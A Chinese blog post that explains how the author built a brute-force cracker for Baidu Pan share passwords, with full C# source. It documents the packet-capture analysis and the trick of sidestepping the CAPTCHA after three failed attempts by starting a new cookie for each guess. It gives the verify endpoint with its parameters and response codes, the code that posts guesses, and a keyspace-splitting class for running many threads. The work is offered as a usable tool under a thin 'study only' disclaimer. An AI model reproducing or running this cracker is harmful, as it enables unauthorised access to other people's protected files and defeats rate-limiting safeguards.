百度云盘分享密码破解器及数据包分析(附源码)
|字数总计:2.5k|阅读时长:10分钟|阅读量:|
本帖所包含的内容仅限技术交流和学习研究使用,禁止用于其他用途!因使用不当造成的一切后果与本人无关!
众所周知,百度云盘分享有时候是需要密码的,然而又因为众所周知的原因部分地址你并没有密码……之前网上似乎有一款密码破解工具,然而是好几年前的古董了,早就不能用了,于是我便花了2个晚上自己分析并写了一款密码破解器,根据我的习惯,还是开源便于后人少走弯路。
下方高能,为防止恶心、头昏等事件的发生,小白和伸手党请直接找0x04谢谢。
DAY1
0x00:试探
大家都知道,百度分享密码时4个字母数字的组合,总共36^4=1679616种可能,在密码破解方面是很少的,我们只需要穷举即可。
随便分享一个文件,试着输输密码,发现输错3次之后就会出现验证码,必须要绕过这个验证机制,否则一切都是白搭(你可以试试写ocr识别),由于我懒得下账号了所以用的是Chrome的隐身模式上的,发现关闭隐身窗口重开验证次数就会重置,说明这个次数是和cookie有关的,只要get到新的cookie,就可以绕过限制,而这在模拟提交时是很方便搞定的,所以理论上是可行的。
0x01:抓包分析
我们分享的地址 pan.baidu.com/s/xxx
会跳转到 http://pan.baidu.com/share/init?shareid=xxx&uk=xxx
上,我们只需研究后者即可。
首先抓GET的包,有用的就header中的set cookie(可能包含账户信息,部分数据经过处理):
1 2
| Set-Cookie: PANWEB=1; expires=Fri, 27-Jul-2018 09:21:53 GMT; path=/; domain=pan.baidu.com Set-Cookie: BAIDUID=8DC16EGAAEDC31F6A8DG20A539B9236C:FG=1; expires=Fri, 27-Jul-18 09:21:53 GMT; max-age=31536000; path=/; domain=.baidu.com; version=1
|
然后是POST的数据包格式(数据经过处理):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| POST http://pan.baidu.com/share/verify?shareid=1234567860&uk=1234563646&t=1501147353341&bdstoken=null&channel=chunlei&clienttype=0&web=1&app_id=123456&logid=MTUwMTE0NzM1MzM0NTAuMDU3ODQxNzA5MTY4OTU4OTI= HTTP/1.1 Host: pan.baidu.com Proxy-Connection: keep-alive Content-Length: 26 Accept: */* Origin: http://pan.baidu.com X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Referer: http://pan.baidu.com/share/init?shareid=1234567860&uk=1234563646 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.8 Cookie: PANWEB=1; BAIDUID=8DC16EGAAEDC31F6A8DG20A539B9236C:FG=1; Hm_lvt_7a6760b6f054eb0087v7f96ff4a660b0=1501147318; Hm_lpvt_7a6760b6f054eb0087v7f96ff4a660b0=1501147318 pwd=1234&vcode=&vcode_str=
|
那个pwd就是我输入的密码了,返回值是下面几种:
1 2 3
| {"errno":-9,"err_msg":"","request_id":4817706520363686291} //密码错误 {"errno":-62,"request_id":206026661042873124} //要验证码了 {"errno":0,"err_msg":"","request_id":4817740255807962253} //密码正确
|
GET的数据我们只需要在处理时set一下cookie就可以了,不管它,重点看post的东西,提交的pwd已经知道是密码,vcode和vcode_str只有在验证码时才用到,关键就在那个Post的地址上,经过多次抓包比较发现有下面几个参数:
参数名 | 备注 |
---|
shareid | 和地址上的一样 |
uk | 和地址上的一样 |
t | 变化的值,看上去像是时间戳 |
bdstoken | 定值null |
channel | 定值chunlei |
clienttype | 定值0 |
web | 定值1 |
app_id | 某个定值 |
logid | 变化的值,看上去像是经过BASE64加密 |
我们只需要看t/app_id/logid就好了:
t
: 这个通过站长工具可以查到就是13位的unix时间戳,没啥特殊的
app_id
:似乎是用户标识?每个用户应该是个定值
logid
: BASE64解密后是两串数字,有点像时间戳但又不是
下面只能通过实验来验证了……
0x02:验证
这里我卡了好久,一开始怎么提交都是返回2,不过这个2是个什么东西?到处查资料,最终在这里找到了前人发的一个帖子,原来是参数错误,难道最后那两个东西还有检测么?这可咋办,后来发现Fidder post的时候是独立cookie的,自然会报错,只好写个小程序先get再post。
然后这个t直接用站长工具生成一个,然后另两个暂时不动,提交一个试试……嗯?返回-9?也就是通过了验证,返回密码错误了!
难道那两个没什么用么?app_id
随便填一个试试,Logid
就不变了,果然,也成功了!多试几次,每次新New一个httprequest,发现连试10次都返回-9,也就是说通过新建cookie绕过验证码的方法是成功的!下面就是破解器的编写了。
DAY2
0x03:破解
一开始用c++和curl,然后Post后无论如何都抓不到前三次返回的包,但是3次失败之后的包倒是一抓一个准……不知道是我写错了还是什么诡异BUG……无奈只好换C#,由于不太熟悉C#的网络操作,到处找资料,调试花了很久……代码也得比较屎,将就着看吧……
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
| class crack { public void init(string url) { HttpGet(url); info = url.Replace("http://pan.baidu.com/share/init?", ""); } public int trypwd(string pwd) { System.DateTime time = System.DateTime.Now; System.DateTime startTime = TimeZone.CurrentTimeZone.ToLocalTime(new System.DateTime(1970, 1, 1, 0, 0, 0, 0)); long ts = (time.Ticks - startTime.Ticks) / 10000; string data = HttpPost("http://pan.baidu.com/share/verify?" + info + "&t=" + ts.ToString() + "&bdstoken=null&channel=chunlei&clienttype=0&web=1&app_id=123456&logid=MTUwMTEyNDM2OTY5MzAuOTE5NTU5NjQwMTk0NDM0OA==", "pwd=" + pwd + "&vcode=&vcode_str="); if (data.Contains("\"errno\":-9")) return 0; else if (data.Contains("\"errno\":0")) return 1; else return -1; } private string HttpPost(string Url, string Data) { try { HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url); request.Method = "POST"; request.ContentType = "application/x-www-form-urlencoded; charset=UTF-8"; request.Referer = "http://pan.baidu.com/share/init?" + info; request.ContentLength = Encoding.UTF8.GetByteCount(Data); request.CookieContainer = cookie; Stream myRequestStream = request.GetRequestStream(); byte[] postBytes = Encoding.UTF8.GetBytes(Data); myRequestStream.Write(postBytes, 0, postBytes.Length);
HttpWebResponse response = (HttpWebResponse)request.GetResponse(); response.Cookies = cookie.GetCookies(response.ResponseUri); Stream myResponseStream = response.GetResponseStream(); StreamReader myStreamReader = new StreamReader(myResponseStream, Encoding.GetEncoding("utf-8")); string retString = myStreamReader.ReadToEnd(); myStreamReader.Close(); myResponseStream.Close();
return retString; } catch (System.Exception ex) { return "error"; } } private string HttpGet(string Url) { HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url); request.Method = "GET"; request.ContentType = "text/html;charset=UTF-8"; request.CookieContainer = cookie;
HttpWebResponse response = (HttpWebResponse)request.GetResponse(); Stream myResponseStream = response.GetResponseStream(); StreamReader myStreamReader = new StreamReader(myResponseStream, Encoding.GetEncoding("utf-8")); string retString = myStreamReader.ReadToEnd(); myStreamReader.Close(); myResponseStream.Close();
return retString; }
private CookieContainer cookie = new CookieContainer(); private string info; }
|
一开始我没有加 request.Referer = "http://pan.baidu.com/share/init?" + info;
这句,然后无限返回2参数错误,我只好再用wse抓包比较,经过尝试发现必须要加上这个referer才行,其他的有没有无所谓……我也是醉了……
不过既然要破解密码,当然要生成密码,考虑到效率问题不太想用密码字典,写了一个哈希类将密码和一个数字一一对应。其实也就是把密码看成36进制,然后转换为10进制,防止有前导零,方便起见在所有数字前面加了个1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| class hash { static public string Hash2Str(int hash) { string ret = ""; hash -= 10000000; while (hash > 0) { ret += Hash2Char(hash % 36); hash /= 36; } if (ret.Length == 3) ret += "0"; if (ret.Length == 2) ret += "00"; if (ret.Length == 1) ret += "000"; if (ret.Length == 0) ret += "0000"; return reverse(ret); } static public int Str2Hash(string str) { int ret = 0; ret += Char2Hash(str[0]) * 46656; ret += Char2Hash(str[1]) * 1296; ret += Char2Hash(str[2]) * 36; ret += Char2Hash(str[3]); ret += 10000000; return ret; } static private int Char2Hash(char c) { if (c >= '0' && c <= '9') return c - '0'; else return c - 'a' + 10; } static private char Hash2Char(int hash) { if (hash >= 0 && hash <= 9) return (char)('0' + hash); else return (char)('a' + hash - 10); } static private string reverse(string str) { char[] arr = str.ToCharArray(); Array.Reverse(arr); return new string(arr); } }
|
这样就可以用多线程平均划分任务了,又是查资料测试啥的花了好久搞定了……
0x04:成果
由于不太会c#的窗口程序,就用控制台的代替了,这样速度更快不是么:-D
使用说明:
什么?有病毒?请按Alt+F4……
什么?没有存档功能?源码都给你了自己写吧……
什么?速度才10个/S?你的网慢了……
什么?没有图形界面?能用就行哪来那么多要求……
什么?配置太多不会用?看使用说明……